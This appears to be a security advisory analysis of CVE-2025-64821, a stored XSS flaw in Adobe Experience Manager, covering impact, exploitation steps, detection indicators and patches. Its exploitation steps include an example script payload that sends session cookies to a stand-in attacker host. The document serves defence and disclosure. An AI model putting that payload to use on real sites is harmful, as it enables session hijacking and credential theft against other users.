CVE-2025-64821: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-64821 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows low-privileged attackers to inject malicious scripts into vulnerable form fields. Affected versions include Adobe Experience Manager 6.5.23 and earlier (on-premises) and AEM Cloud Service versions prior to 2025.12.0. The vulnerability was disclosed on December 9, 2025, as part of Adobe's security bulletin APSB25-115. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). A low-privileged authenticated attacker can inject malicious JavaScript into vulnerable form fields within AEM, which is then persistently stored and executed in the browser of any victim who visits the page containing the affected field (stored XSS). Exploitation requires user interaction (a victim browsing to the compromised page) and low privileges, with no special configuration required. Attack patterns associated with this vulnerability include DOM-Based XSS (CAPEC-588), Reflected XSS (CAPEC-591), and Stored XSS (CAPEC-592) (Adobe Advisory).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session, potentially leading to session hijacking, credential theft, unauthorized actions performed on behalf of the victim, and exfiltration of sensitive data accessible within the AEM environment. The scope is changed (S:C), meaning the impact extends beyond the attacker's privilege level to affect other users. Confidentiality and integrity are both rated as low impact, with no direct availability impact (Adobe Advisory).

1. Reconnaissance: Identify an Adobe Experience Manager instance running version 6.5.23 or earlier, or AEM Cloud Service prior to 2025.12.0, using web fingerprinting tools or by inspecting HTTP response headers and login pages.
2. Obtain low-privileged access: Register or obtain credentials for a low-privileged AEM user account (e.g., a content author or contributor role).
3. Identify vulnerable form fields: Navigate to AEM content authoring interfaces and identify form fields that accept and store user-supplied input without adequate sanitization.
4. Inject malicious payload: Submit a stored XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable field and save the content.
5. Trigger victim execution: Wait for or socially engineer a higher-privileged user (e.g., an administrator) to browse to the page containing the injected content, causing the malicious script to execute in their browser context.
6. Harvest results: Collect stolen session cookies, credentials, or other sensitive data exfiltrated to the attacker-controlled server, potentially enabling session hijacking or further lateral movement within the AEM environment (Adobe Advisory).

• Logs: AEM access logs showing POST requests to content authoring endpoints (e.g., /content/, /editor.html/) containing encoded script tags or JavaScript event handlers (<script>, onerror=, onload=, javascript:) in form field parameters.
• Network: Outbound HTTP requests from victim browsers to unexpected external domains shortly after accessing AEM content pages; DNS queries to attacker-controlled domains originating from internal user workstations.
• File System / Content Repository: AEM JCR (Java Content Repository) nodes containing stored content with embedded <script> tags or obfuscated JavaScript in text properties.
• Browser/Proxy: Proxy or web gateway logs showing GET requests to external URLs with query parameters containing Base64-encoded strings or cookie values, initiated from internal user browsers after visiting AEM pages.

Adobe has released patches addressing CVE-2025-64821 in AEM 6.5 Service Pack 6.5.24.0 (for on-premises deployments) and AEM Cloud Service release 2025.12.0. Organizations should upgrade to these versions immediately. As a temporary workaround, restrict content authoring access to trusted users only and implement a Web Application Firewall (WAF) with XSS filtering rules to detect and block malicious input. AEM Cloud Service customers receive updates automatically (Adobe Advisory).

CVE-2025-64821 was disclosed as part of Adobe's December 2025 Patch Tuesday security bulletin (APSB25-115), which addressed a large number of vulnerabilities across AEM. Tenable published a Nessus detection plugin (ID 278346) for this vulnerability. No notable independent researcher commentary or significant social media discussion has been identified beyond standard vulnerability tracking and scanner coverage (Adobe Advisory).